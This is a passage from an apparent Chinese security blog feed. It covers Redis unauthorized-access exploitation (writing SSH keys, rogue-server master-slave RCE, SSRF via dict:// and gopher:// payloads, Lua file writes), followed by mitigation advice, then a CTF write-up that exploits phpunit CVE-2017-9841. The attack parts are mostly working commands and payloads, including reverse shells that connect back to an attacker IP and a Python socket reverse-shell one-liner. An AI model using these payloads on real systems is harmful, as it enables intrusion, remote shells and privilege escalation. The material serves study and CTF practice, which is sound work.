class="line"><span class="comment"># 本地生成一对密钥</span></span><br><span class="line">➜ ssh-keygen -t rsa</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将公钥写入一个文件，内容前后要加两个换行</span></span><br><span class="line">(<span class="built_in">echo</span> -e <span class="string">&quot;\n\n&quot;</span>; cat /root/.ssh/id_rsa.pub; <span class="built_in">echo</span> -e <span class="string">&quot;\n\n&quot;</span>) &gt; key.txt</span><br><span class="line"><span class="comment"># 将公钥放入目标服务器键`crackit`里面</span></span><br><span class="line">cat key.txt | redis-cli -h 172.16.186.4 -x <span class="built_in">set</span> crackit</span><br><span class="line"></span><br><span class="line">172.16.186.4:6379&gt; config <span class="built_in">set</span> dir /root/.ssh/</span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; config get dir</span><br><span class="line">1) <span class="string">&quot;dir&quot;</span></span><br><span class="line">2) <span class="string">&quot;/root/.ssh&quot;</span></span><br><span class="line">172.16.186.4:6379&gt; config <span class="built_in">set</span> dbfilename authorized_keys</span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; save</span><br><span class="line">OK</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用私钥连接</span></span><br><span class="line">➜ ssh -i id_rsa root@172.16.186.4</span><br></pre></td></tr></table></figure><blockquote><p>或者172.16.186.4:6379&gt; set crackit “\n\n\n 公钥内容 \n\n\n”</p></blockquote><hr><h1 id="Redis-主从复制-GetShell"><a href="#Redis-主从复制-GetShell" class="headerlink" title="Redis 主从复制 GetShell"></a>Redis 主从复制 GetShell</h1><p><strong>Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis 就提供了主从模式，主从模式就是指使用一个 redis 实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。基于Redis主从复制的机制，可以通过FULLRESYNC将任意文件同步到从节点（slave）从而利用漏洞获取权限。</strong></p><h2 id="Redis-RCE-自动化工具"><a href="#Redis-RCE-自动化工具" class="headerlink" title="Redis RCE 自动化工具"></a>Redis RCE 自动化工具</h2><h3 id="条件"><a href="#条件" class="headerlink" title="条件"></a>条件</h3><p><strong>Redis &lt;=5.0.5</strong></p><h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h3><p><strong><a href="https://github.com/n0b0dyCN/redis-rogue-server">Redis Rogue Server</a></strong></p><h3 id="用法"><a href="#用法" class="headerlink" title="用法"></a>用法</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-h, --<span class="built_in">help</span>           show this <span class="built_in">help</span> message and <span class="built_in">exit</span></span><br><span class="line">--rhost=REMOTE_HOST  target host</span><br><span class="line">--rport=REMOTE_PORT  target redis port, default 6379</span><br><span class="line">--lhost=LOCAL_HOST   rogue server ip</span><br><span class="line">--lport=LOCAL_PORT   rogue server listen port, default 21000</span><br><span class="line">--exp=EXP_FILE       Redis Module to load, default exp.so</span><br><span class="line">-v, --verbose        Show full data stream</span><br></pre></td></tr></table></figure><h3 id="交互式-Shell"><a href="#交互式-Shell" class="headerlink" title="交互式 Shell"></a>交互式 Shell</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx</span><br><span class="line">______         _ _      ______                         _____                          </span><br><span class="line">| ___ \       | (_)     | ___ \                       /  ___|                         </span><br><span class="line">| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ </span><br><span class="line">|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ <span class="string">&#x27;__\ \ / / _ \ &#x27;</span>__|</span><br><span class="line">| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   </span><br><span class="line">\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   </span><br><span class="line">                                     __/ |                                            </span><br><span class="line">                                    |___/                                             </span><br><span class="line">@copyright n0b0dy @ r3kapig</span><br><span class="line"></span><br><span class="line">[info] TARGET 127.0.0.1:6379</span><br><span class="line">[info] SERVER 127.0.0.1:21000</span><br><span class="line">[info] Setting master...</span><br><span class="line">[info] Setting dbfilename...</span><br><span class="line">[info] Loading module...</span><br><span class="line">[info] Temerory cleaning up...</span><br><span class="line">What <span class="keyword">do</span> u want, [i]nteractive shell or [r]everse shell: i</span><br><span class="line">[info] Interact mode start, enter <span class="string">&quot;exit&quot;</span> to quit.</span><br><span class="line">[&lt;&lt;] whoami</span><br><span class="line">[&gt;&gt;] :n0b0dy</span><br><span class="line">[&lt;&lt;] </span><br></pre></td></tr></table></figure><h3 id="反弹-Shell"><a href="#反弹-Shell" class="headerlink" title="反弹 Shell"></a>反弹 Shell</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx</span><br><span class="line">______         _ _      ______                         _____</span><br><span class="line">| ___ \       | (_)     | ___ \                       /  ___|</span><br><span class="line">| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __</span><br><span class="line">|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ <span class="string">&#x27;__\ \ / / _ \ &#x27;</span>__|</span><br><span class="line">| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |</span><br><span class="line">\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|</span><br><span class="line">                                     __/ |</span><br><span class="line">                                    |___/</span><br><span class="line">@copyright n0b0dy @ r3kapig</span><br><span class="line"></span><br><span class="line">[info] TARGET 127.0.0.1:6379</span><br><span class="line">[info] SERVER 127.0.0.1:21000</span><br><span class="line">[info] Setting master...</span><br><span class="line">[info] Setting dbfilename...</span><br><span class="line">[info] Loading module...</span><br><span class="line">[info] Temerory cleaning up...</span><br><span class="line">What <span class="keyword">do</span> u want, [i]nteractive shell or [r]everse shell: r</span><br><span class="line">[info] Open reverse shell...</span><br><span class="line">Reverse server address: 127.0.0.1</span><br><span class="line">Reverse server port: 9999</span><br><span class="line">[info] Reverse shell payload sent.</span><br><span class="line">[info] Check at 127.0.0.1:9999</span><br><span class="line">[info] Unload module...</span><br></pre></td></tr></table></figure><p><strong>VPS 接收 Shell：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">➜ nc -lvvp 9999</span><br><span class="line">Listening on [0.0.0.0] (family 0, port 9999)</span><br><span class="line">Connection from localhost.localdomain 39312 received!</span><br><span class="line">whoami</span><br></pre></td></tr></table></figure><h2 id="SSRF-反弹-Shell"><a href="#SSRF-反弹-Shell" class="headerlink" title="SSRF 反弹 Shell"></a>SSRF 反弹 Shell</h2><p><strong>参照 Redis 手动 Getshell 的过程，当站点存在漏洞时可利用 SSRF 反弹 Shell</strong></p><p><strong>测试漏洞页面  <code>ssrf.php</code></strong> </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$ch = curl_init();</span><br><span class="line">curl_setopt($ch, CURLOPT_URL, $_GET[<span class="string">&#x27;url&#x27;</span>]);</span><br><span class="line"><span class="comment">#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);</span></span><br><span class="line">curl_setopt($ch, CURLOPT_HEADER, <span class="number">0</span>);</span><br><span class="line"><span class="comment">#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);</span></span><br><span class="line">curl_exec($ch);</span><br><span class="line">curl_close($ch);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="环境准备-1"><a href="#环境准备-1" class="headerlink" title="环境准备"></a>环境准备</h3><ul><li><strong>模拟内网未授权 Redis 服务器：172.16.186.4</strong></li><li><strong>模拟攻击者机器：192.168.0.107</strong></li><li><strong>在攻击者机器上构建恶意 Redis 服务器，同时监听本地 9999 端口接收 Shell</strong></li></ul><h3 id="利用-dict-协议反弹-Shell"><a href="#利用-dict-协议反弹-Shell" class="headerlink" title="利用 dict 协议反弹 Shell"></a>利用 dict 协议反弹 Shell</h3><p><strong>利用方式：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"># 查看当前redis的相关配置</span><br><span class="line">ssrf.php?url&#x3D;dict:&#x2F;&#x2F;172.16.186.4:6379&#x2F;info</span><br><span class="line"></span><br><span class="line"># 设置备份文件名</span><br><span class="line">ssrf.php?url&#x3D;dict:&#x2F;&#x2F;172.16.186.4:6379&#x2F;config:set:dbfilename:exp.so</span><br><span class="line"></span><br><span class="line"># 连接恶意Redis服务器</span><br><span class="line">ssrf.php?url&#x3D;dict:&#x2F;&#x2F;172.16.186.4:6379&#x2F;slaveof:192.168.0.107:1234</span><br><span class="line"></span><br><span class="line"># 加载恶意模块</span><br><span class="line">ssrf.php?url&#x3D;dict:&#x2F;&#x2F;172.16.186.4:6379&#x2F;module:load:.&#x2F;exp.so</span><br><span class="line"></span><br><span class="line"># 切断主从复制</span><br><span class="line">ssrf.php?url&#x3D;dict:&#x2F;&#x2F;172.16.186.4:6379&#x2F;slaveof:no:one</span><br><span class="line"></span><br><span class="line"># 执行系统命令</span><br><span class="line"> ssrf.php?url&#x3D;dict:&#x2F;&#x2F;172.16.186.4:6379&#x2F;system.rev:192.168.0.107:9999</span><br></pre></td></tr></table></figure><h3 id="利用-Gopher-协议反弹-Shell"><a href="#利用-Gopher-协议反弹-Shell" class="headerlink" title="利用 Gopher 协议反弹 Shell"></a>利用 Gopher 协议反弹 Shell</h3><p><strong>利用方式：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 设置文件名，连接恶意Redis服务器</span><br><span class="line">gopher:&#x2F;&#x2F;172.16.186.4:6379&#x2F;_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.0.107%25201234%250d%250aquit</span><br><span class="line"></span><br><span class="line"># 加载exp.so，反弹shell</span><br><span class="line">gopher:&#x2F;&#x2F;172.16.186.4:6379&#x2F;_module%2520load%2520.&#x2F;exp.so%250d%250asystem.rev%2520192.168.0.107%25209999%250d%250aquit</span><br></pre></td></tr></table></figure><blockquote><p>Get 请求会自动解码一次所以这里需要进行两次 URL 编码</p></blockquote><hr><h1 id="Lua-脚本执行命令"><a href="#Lua-脚本执行命令" class="headerlink" title="Lua 脚本执行命令"></a>Lua 脚本执行命令</h1><p><strong>Redis 2.6以前的版本内置了lua脚本环境，在有连接redis服务器的权限下，可以利用lua执行系统命令。</strong></p><p><strong>本地建立一个lua脚本：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">vim  hello.lua</span><br><span class="line"><span class="built_in">local</span> msg = <span class="string">&quot;hello.hack!&quot;</span></span><br><span class="line"><span class="built_in">return</span> msg</span><br></pre></td></tr></table></figure><p><strong>在客户端连接 Redis 服务器并执行 hello.lua</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-cli <span class="built_in">eval</span> <span class="string">&quot;<span class="subst">$(cat hello.lua)</span>&quot;</span> 0 -h 172.16.186.4</span><br></pre></td></tr></table></figure><h1 id="写二进制文件-利用dns、icmp等协议上线-tcp协议不能出网"><a href="#写二进制文件-利用dns、icmp等协议上线-tcp协议不能出网" class="headerlink" title="写二进制文件 利用dns、icmp等协议上线 (tcp协议不能出网)"></a>写二进制文件 利用dns、icmp等协议上线 (tcp协议不能出网)</h1><p><strong>写二进制文件的方法跟前边有所不同，原因在于使用 RDB 方式备份 Redis 数据库是默认情况下会对文件进行压缩，上传的二进制文件也会被压缩，而且文件前后存在脏数据，因此需要将默认压缩关闭，并且通过计划任务调用 python清洗脏数据。</strong></p><ol><li><strong>创建一个 a.lua 其内容如下：</strong></li></ol><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">local</span> <span class="function"><span class="keyword">function</span> <span class="title">hex2bin</span><span class="params">(hexstr)</span></span></span><br><span class="line">    <span class="keyword">local</span> str = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i = <span class="number">1</span>, <span class="built_in">string</span>.<span class="built_in">len</span>(hexstr) - <span class="number">1</span>, <span class="number">2</span> <span class="keyword">do</span></span><br><span class="line">        <span class="keyword">local</span> doublebytestr = <span class="built_in">string</span>.<span class="built_in">sub</span>(hexstr, i, i+<span class="number">1</span>);</span><br><span class="line">        <span class="keyword">local</span> n = <span class="built_in">tonumber</span>(doublebytestr, <span class="number">16</span>);</span><br><span class="line">        <span class="keyword">if</span> <span class="number">0</span> == n <span class="keyword">then</span></span><br><span class="line">            str = str .. <span class="string">&#x27;\00&#x27;</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            str = str .. <span class="built_in">string</span>.<span class="built_in">format</span>(<span class="string">&quot;%c&quot;</span>, n)</span><br><span class="line">        <span class="keyword">end</span></span><br><span class="line">    <span class="keyword">end</span></span><br><span class="line">    <span class="keyword">return</span> str</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> dir = redis.call(<span class="string">&#x27;config&#x27;</span>,<span class="string">&#x27;get&#x27;</span>,<span class="string">&#x27;dir&#x27;</span>)</span><br><span class="line">redis.call(<span class="string">&#x27;config&#x27;</span>,<span class="string">&#x27;set&#x27;</span>,<span class="string">&#x27;dir&#x27;</span>,<span class="string">&#x27;/tmp/&#x27;</span>)</span><br><span class="line"><span class="keyword">local</span> dbfilename = redis.call(<span class="string">&#x27;config&#x27;</span>,<span class="string">&#x27;get&#x27;</span>,<span class="string">&#x27;dbfilename&#x27;</span>)</span><br><span class="line">redis.call(<span class="string">&#x27;config&#x27;</span>,<span class="string">&#x27;set&#x27;</span>,<span class="string">&#x27;dbfilename&#x27;</span>,<span class="string">&#x27;t&#x27;</span>)</span><br><span class="line"><span class="keyword">local</span> rdbcompress = redis.call(<span class="string">&#x27;config&#x27;</span>,<span class="string">&#x27;get&#x27;</span>,<span class="string">&#x27;rdbcompression&#x27;</span>)</span><br><span class="line">redis.call(<span class="string">&#x27;config&#x27;</span>,<span class="string">&#x27;set&#x27;</span>,<span class="string">&#x27;rdbcompression&#x27;</span>,<span class="string">&#x27;no&#x27;</span>)</span><br><span class="line">redis.call(<span class="string">&#x27;flushall&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> data = <span class="string">&#x27;1a2b3c4d5e6f1223344556677890aa&#x27;</span></span><br><span class="line">redis.call(<span class="string">&#x27;set&#x27;</span>,<span class="string">&#x27;data&#x27;</span>,hex2bin(<span class="string">&#x27;0a7c7c7c&#x27;</span>..data..<span class="string">&#x27;7c7c7c0a&#x27;</span>))</span><br><span class="line"><span class="keyword">local</span> rst = &#123;&#125;</span><br><span class="line">rst[<span class="number">1</span>] = <span class="string">&#x27;server default config&#x27;</span></span><br><span class="line">rst[<span class="number">2</span>] = <span class="string">&#x27;dir:&#x27;</span>..dir[<span class="number">2</span>]</span><br><span class="line">rst[<span class="number">3</span>] = <span class="string">&#x27;dbfilename:&#x27;</span>..dbfilename[<span class="number">2</span>]</span><br><span class="line">rst[<span class="number">4</span>] = <span class="string">&#x27;rdbcompression:&#x27;</span>..rdbcompress[<span class="number">2</span>]</span><br><span class="line"><span class="keyword">return</span> rst</span><br></pre></td></tr></table></figure><blockquote><p>变量data保存的是程序的16进制编码</p></blockquote><ol start="2"><li><strong>利用 redis 执行该 lua 脚本</strong></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-cli --<span class="built_in">eval</span> a.lua -h 172.16.186.4</span><br></pre></td></tr></table></figure><ol start="3"><li><strong>由于 redis 不支持在 lua 中调用 save 因此需要手动执行 save 操作,并且删除 key data，恢复 dir 等。</strong></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">redis-cli save -h 172.16.186.4</span><br><span class="line">redis-cli config <span class="built_in">set</span> dir *** -h 172.16.186.4</span><br><span class="line">redis-cli config <span class="built_in">set</span> dbfilename *** -h 172.16.186.4</span><br><span class="line">redis-cli config <span class="built_in">set</span> rdbcompression * -h 172.16.186.4</span><br></pre></td></tr></table></figure><p><strong>目前写入的文件前后是存在垃圾数据的，需要通过写计划任务调用python或者系统命令提取出二进制文件（写文件之在数据前后加入了 <code>|||</code> 作为提取最终文件的标识）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">*/1 * * * * python -c <span class="string">&#x27;open(&quot;/tmp/rst&quot;,&quot;a+&quot;).write(open(&quot;/tmp/t&quot;).read().split(&quot;|||&quot;)[1])&#x27;</span></span><br></pre></td></tr></table></figure><hr><h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><ol><li><p><strong>禁止Redis服务对公网开放，可通过修改 <code>redis.conf</code> 配置文件中的 <code>#bind 127.0.0.1</code> ，去掉前面的 <code>#</code> 即可（Redis本来就是作为内存数据库，只要监听在本机即可）</strong></p></li><li><p><strong>设置密码访问认证，可通过修改 <code>redis.conf</code> 配置文件中的 <code>requirepass</code>  设置复杂密码 （需要重启 Redis 服务才能生效）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">requirepass mypassword  （注意redis不要用-a参数，明文输入密码，连接后使用auth认证）</span><br></pre></td></tr></table></figure></li><li><p><strong>对访问源 IP 进行访问控制，可在防火墙限定指定源 IP 才可以连接 Redis 服务器</strong></p></li><li><p><strong>修改 Redis 默认端口，将默认的6379端口修改为其他端口。</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Port 6379</span><br></pre></td></tr></table></figure></li><li><p><strong>保证 authorized_keys 文件的安全</strong></p><p>为了保证安全，您应该阻止其他用户添加新的公钥。<br>将 authorized_keys 的权限设置为对拥有者只读，其他用户没有任何权限：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ chmod 400 ~/.ssh/authorized_keys</span><br></pre></td></tr></table></figure><p>为保证 authorized_keys 的权限不会被改掉，您还需要设置该文件的 immutable 位权限：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ chattr +i ~/.ssh/authorized_keys</span><br></pre></td></tr></table></figure><p>然而，用户还可以重命名 ~/.ssh，然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况，需要设置 ~./ssh 的 immutable 位权限：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ chattr +i ~/.ssh</span><br></pre></td></tr></table></figure><p>注意: 如果需要添加新的公钥，需要移除 authorized_keys 的 immutable 位权限。然后，添加好新的公钥之后，按照上述步骤重新加上 immutable 位权限。</p></li><li><p><strong>禁止一些高危命令（重启redis才能生效)</strong></p><p>修改 redis.conf 文件，禁用远程修改 DB 文件地址：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">rename-command FLUSHALL <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">rename-command CONFIG <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">rename-command EVAL <span class="string">&quot;&quot;</span></span><br></pre></td></tr></table></figure><p>或者通过修改redis.conf文件，改变这些高危命令的名称：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">rename-command FLUSHALL <span class="string">&quot;name1&quot;</span></span><br><span class="line"></span><br><span class="line">rename-command CONFIG <span class="string">&quot;name2&quot;</span></span><br><span class="line"></span><br><span class="line">rename-command EVAL <span class="string">&quot;name3&quot;</span></span><br></pre></td></tr></table></figure></li><li><p><strong>以低权限运行 Redis 服务（重启redis才能生效）</strong></p><p>为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">groupadd -r redis &amp;&amp; useradd -r -g redis redis</span><br></pre></td></tr></table></figure></li></ol><hr><h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><ul><li><a href="https://sec.nmask.cn/article_content?a_id=c06f13f3f169ba5fee2761ad234e9805">https://sec.nmask.cn/article_content?a_id=c06f13f3f169ba5fee2761ad234e9805</a></li><li><a href="https://www.cnblogs.com/xiaozi/p/13089906.html">https://www.cnblogs.com/xiaozi/p/13089906.html</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Crontab-计划任务&quot;&gt;&lt;a href=&quot;#Crontab-计划任务&quot; class=&quot;headerlink&quot; title=&quot;Crontab 计划任务&quot;&gt;&lt;/a&gt;Crontab 计划任务&lt;/h1&gt;&lt;p&gt;Crontab 是 Linux系统或 Unix 系统中常用的</summary>
      
    
    
    
    <category term="Note" scheme="https://www.lintstar.top/categories/Note/"/>
    
    <category term="Web" scheme="https://www.lintstar.top/categories/Note/Web/"/>
    
    
    <category term="Web" scheme="https://www.lintstar.top/tags/Web/"/>
    
    <category term="Crontab" scheme="https://www.lintstar.top/tags/Crontab/"/>
    
    <category term="Redis" scheme="https://www.lintstar.top/tags/Redis/"/>
    
    <category term="Vulnerability" scheme="https://www.lintstar.top/tags/Vulnerability/"/>
    
  </entry>
  
  <entry>
    <title>蓝帽杯决赛 WRITEUP</title>
    <link href="https://www.lintstar.top/2020/12/784edd2e.html"/>
    <id>https://www.lintstar.top/2020/12/784edd2e.html</id>
    <published>2020-12-21T10:22:22.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>上周六参加『 蓝帽杯 』全国大学生网络安全技能大赛线上决赛记录，先挖个坑等一手之后官方的 WP 。</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201221144501.png" alt="image-20201221144445748"></p><h1 id="0x01-签到题"><a href="#0x01-签到题" class="headerlink" title="0x01 签到题"></a>0x01 签到题</h1><h2 id="操作内容"><a href="#操作内容" class="headerlink" title="操作内容"></a>操作内容</h2><p>题目给了一些数字：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109, 101, 95, 98, 108, 117, 101, 99, 97, 116, 125]</span><br></pre></td></tr></table></figure><p>尝试 AscII 8进制解码：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219174646.png" alt="image-20201219174646505"></p><h2 id="flag-值"><a href="#flag-值" class="headerlink" title="flag 值"></a>flag 值</h2><p><strong>flag{we1c0me_bluecat}</strong></p><h1 id="0x02-php"><a href="#0x02-php" class="headerlink" title="0x02 php"></a>0x02 php</h1><h2 id="操作内容-1"><a href="#操作内容-1" class="headerlink" title="操作内容"></a>操作内容</h2><p>查看源代码：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219181441.png" alt="image-20201219181441608"></p><p>想到 phpunit 远程命令执行漏洞（CVE-2017-9841）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;vendor&#x2F;phpunit&#x2F;phpunit&#x2F;src&#x2F;Util&#x2F;PHP&#x2F;eval-stdin.php</span><br></pre></td></tr></table></figure><p>先试了 post <code>&lt;?php print_r(scandir(&#39;/&#39;));</code></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219195133.png" alt="20201219_1201"></p><p><code>&lt;?php show_source(&#39;/flag&#39;);</code> 读取失败 似乎是没权限</p><p>通过尝试发现 pcntl_exec（）函数可以使用，进行反弹shell</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php  pcntl_exec(<span class="string">&quot;/usr/bin/python&quot;</span>,array(<span class="string">&#x27;-c&#x27;</span>, <span class="string">&#x27;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect((&quot;ip&quot;,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);&#x27;</span>));?&gt;</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219182449.png" alt="20201219_1632"></p><p><code>cat /flag</code>  权限不够，<code>ls - la</code> 发现用户为 www-data, 而 <code>/flag</code>文件为 admin 权限</p><p>尝试切换 admin 权限报错：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">su: must be run from a terminal</span><br></pre></td></tr></table></figure><p>切换交互型 shell：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">&#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br></pre></td></tr></table></figure><p>在  <code>var/www/html </code> 下翻到了 admin 的密码：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219183127.png" alt="20201219_1656"></p><p>cat 一下：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219183159.png" alt="20201219_16561"></p><p>执行 su admin 拿到 flag</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219183244.png" alt="20201219_1651"></p><h2 id="flag-值-1"><a href="#flag-值-1" class="headerlink" title="flag 值"></a>flag 值</h2><p><strong>flag{c31a77bd-5d01-4074-ab57-7828d7e85943}</strong></p><h1 id="0x03-login"><a 